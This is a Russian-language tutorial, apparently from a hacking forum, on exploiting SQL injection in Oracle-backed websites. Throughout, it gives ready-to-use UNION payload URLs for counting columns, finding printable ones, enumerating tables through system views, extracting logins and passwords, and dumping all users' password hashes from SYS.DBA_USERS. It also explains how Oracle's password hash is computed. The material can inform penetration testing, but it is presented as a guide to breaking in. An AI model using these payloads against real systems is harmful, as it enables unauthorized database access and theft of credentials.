Проведение SQL инъекций в Oracle



  • [Введение]
  • [Особенности Oracle]
  • [Подбор столбцов]
  • [Определение принтабельных столбцов]
  • [Получение информации]
  • [Таблицы и столбцы]
  • [Пароли]
  • [Получение информации]



  • [Введение]


    Последнее время при исследовании различных веб проектов на уязвимости, стал натыкаться на sql инъекции в Oracle. Хотя в настоящее время редко можно встретить использование этой СУБД в Веб программировании, но все-таки такое случается. Все исследования заканчивались простым обнаружением баги, что делать дальше было непонятно. В ходе поиска статьи, хорошо описывающей практические аспекты эксплуатации данной уязвимости в Oracle, такой как статьи cash и spyder, описывающих инъекции в MSSQL и PostgreSQL, найти не удалось.
    В результате поиска была найдена, только лишь серия статей k00p3r, причем полностью копипастнутых со сторонних источников и являющихся простым переводом, прочтение которых не давало ясного представления о проведении скулей в Oracle, т.к. статьи по сути имеют большой объем, носят теоретический характер, и по большей части содержат воду.
    В конечном итоге пришлось вспоминать институтские навыки работы с Oracle и перечитывать кучу разрозненной информации в интернет. В этой статье хотелось бы поделиться с вами тем, что мне удалось накопать по проведению sql injection в Oracle и постараться объединить это в одно целое.
    Ну и попытаться восполнить пробел, и дополнить серию статей cash и spyder.

    [Особенности Oracle]


    Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в Oracle. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же возможно.
    Так же немаловажен факт, что в статье рассматриваются вопросы проведения инъекции именно в запросах SQL Oracle, а не в процедурах PL/SQL Oracle. Существенное отличие инъекций в процедурах PL/SQL заключается в возможности использования разделителя запросов - символа точки с запятой ";". Но про это имхо нужно писать отдельную статью, с описанием всех вытекающих последствий. Тем более автор считает что в Веб приложениях наиболее часто встречаются инъекции именно в запросах SQL (по крайней мере я сталкивался только с такими).
    В Oracle, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования оператора UNION, т.е. с составлением объединения двух запросов ( далее по тексту для простоты понимания используется термин - подзапрос). Но помимо совпадения количества столбцов в основном запросе и подзапросе необходимо учитывать, что Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при подборе столбцов необходимо подставлять null, в отличии, например от MySQL.
    Так же очень важным свойством является то, что все запросы SELECT должны производиться из какой-то таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы. Для простых арифметических вычислений или других операций, не требующих реальную таблицу, в Oracle существует псевдо таблица SYS.DUAL.
    Немаловажным свойством является отсутствие оператора LIMIT.
    Для усечения запроса используются символы комментариев “--”(два тире) и "/*"(прямой слеш и звездочка) в SQL Oracle. Первый тип коментариев -однострочный. Второй тип - многострочный.
    Нет возможности использования в SQL Oracle нескольких запросов с применением разделителя “;”, в отличии от процедур на PL/SQL.
    При обнаружении ошибки можно однозначно идентифицировать Oracle, по присутствию слова ORA в тексте сообщения об ошибке, например:

    Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

    Не всегда в тексте ошибки присутствует слово Oracle, например

    Warning: OCIStmtExecute: ORA-01722: invalid number in

    [Подбор столбцов]


    Пусть ошибка присутствует в параметре id:

    www.site.com/view.php?id=1’
    Определение количества столбцов присутствующих в основном запросе происходит так же, как и в MySQL. Так как оператор UNION требует одинакового количества столбцов, как в основном запросе, так и в подзапросе нам нужно количество этих столбцов определить. При неправильном указании столбцов в подзапросе выводится стандартное сообщение об ошибке:

    ORA-XXXXX: query block has incorrect number of result columns
    Для подбора столбцов существует 2 известных способа и хорошо описанных в статье spyder. Но приведу их еще раз, дабы читателю не бегать по статьям:

    1. Простой перебор.
    Составим следующий запрос

    www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

    Если ошибка появилась, увеличиваем количество столбцов на один
    www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

    и так пока не исчезнет ошибка.

    2. Использование оператора ORDER BY
    Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое. Составим следующий запрос

    www.site.com/view.php?id=-1+order+by+1--
    если ошибки нет, значит столбцов 1 или более 1

    www.site.com/view.php?id=-1+order+by+99999--
    При таком запросе должна появиться ошибка, что означает столбцов меньше 99999. Далее таким же образом сужаем границы выбранного интервала слева и справа и в конечном итоге определяем реальное количество столбцов в основном запросе.

    [Определение принтабельных столбцов]


    Допустим, мы определили точное количество столбцов в основном запросе, предположим их 4.

    www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
    Теперь нам необходимо определить те столбцы, которые выводятся на страницу. Обычно в выводе участвуют столбцы с типами данных int,char и data. Нам будет достаточно принтабильных столбцов с типами int и char, их и будем искать.
    Как было отмечено ранее, Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при попытке подстановки в какой либо столбец значения несоответствующего типа мы получим следующую ошибку несоответствия типов

    ORA-XXXXX: expression must have same datatype as corresponding expression
    Далее мы начинаем составлять запросы, поочередно заменяя каждый столбец на любое число

    www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
    ....
    www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
    Таким образом, мы выявим принтабельные столбцы с типом int. В том случае если мы получим ошибку несоответствия типов, мы можем воспользоваться функциями преобразования типов to_char(), to_date() и выявить принтабельные столбцы с типами char и data.

    www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
    Для справки приведу синтаксис функции to_char():
    to_char( value, [ format_mask ], [ nls_language ] )

    [Получение информации]


    После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда. Например, если существует таблица USERS со столбцами ID, LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом

    www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
    Так же как и в MySQL, для удобства отображения и преодоления различных проблем с кодировками можно воспользоваться функциями concat(), to_char().
    Для преодоления фильтрации кавычек или других необходимых символов, существует функция chr().

    [Таблицы и столбцы]


    Если пользовательские таблицы нам неизвестны, то мы можем получить различную информацию из известных системных таблиц Oracle.
    Узнать имя пользователя, под которым работает интерфейс, а значит и вы, можно вызвав функции user или sys.login_user

    www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
    Получить список сессий можно вот так: select * from V$session

    Большой интерес представляют таблицы SYS.USER_TABLES и SYS.USER_TAB_COLUMNS, которые содержат все таблицы и их столбцы доступные пользователю. Вытаскиваем имена таблиц и столбцов:

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
    www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
    Так же, на мой взгляд, в таблице SYS.USER_TABLES помимо table_name, вызывают интерес следующие столбцы: tablespace_name, num_rows, freelist_groups.
    Но, к сожалению, составленные выше запросы выведут нам лишь по одной - первой записи из всей таблицы. Возникает непреодолимое желание воспользоваться оператором LIMIT, как в MySQL или в PostgreSQL. К огромному всеобщему разочарованию данный оператор не поддерживается в Oracle, и более того не имеет достойного эквивалента в виде другого оператора.
    “ВСЕ ПРОПАЛО!!!” – скажете вы.
    “НЕТ!!!” – отвечу я вам.
    Помучив изрядно google, я все-таки нашел возможность составить сложный запрос хоть как-то отдаленно реализующий смысловую нагрузку оператора LIMIT. К сожалению, не удалось восстановить его возможности в полном объеме.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
    Таким образом, перебирая различное количество записей в выборке, мы можем посмотреть по очереди все имена таблиц. Туже самую конструкцию мы можем использовать при просмотре таблицы SYS.USER_TAB_COLUMNS, при получении всех имен столбцов доступных пользователю.
    Так же в Oracle существует понятие префикса объекта (таблица является объектом), который присутствует в названии или имени таблицы:
    ALL_ - все доступные пользователю (владельцем может и не быть),
    USER_ - объекты, чьим владельцем этот пользователь является.
    Следовательно, мы можем упростить себе задачу и вытащить имена только тех таблиц, к которым мы имеем доступ

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
    Интерес так же может представлять информация из следующих стандартных таблиц: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

    [Пароли]


    Если нам повезло и пользователь, под которым мы работаем с базой, имеет права sysdba, то мы можем получить хеши всех пользователей базы.
    Основное место хранения свертки пароля (хеш) - таблица словаря-справочника SYS.USER$. Над этой таблицей как базовой построена производная, SYS.DBA_USERS. Если в профиле пользователя включен параметр PASSWORD_REUSE_TIME, свертки пароля также хранятся в SYS.USER_HISTORY$. Достать хеши и имена пользователей можно вот так

    www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
    Для полноты информации представлю еще и алгоритм вычисления свертки пароля, на всякий случай, может кому и пригодится:
    1. К имени пользователя приклеивается справа текст пароля.
    2. В получившейся строке буквам повышается регистр.
    3. Символы строки переводятся в двухбайтовый формат дополнением слева нулевым значением 0x00 (для символов ASCII), и справа строка дописывается нулевыми байтами до общей длины 80.
    4. Получившаяся строка шифруется алгоритмом DES в режиме сцепления блоков шифротекста (CBC) ключом 0x0123456789ABCDEF.
    5. Из последнего блока результата удаляются разряды четности и полученная строка (56 разрядов) используется для нового шифрования исходной строки тем же способом.
    6. Последний блок результата переводится в знаки шестнадцатиричной арифметики и объявляется конечным результатом - сверткой.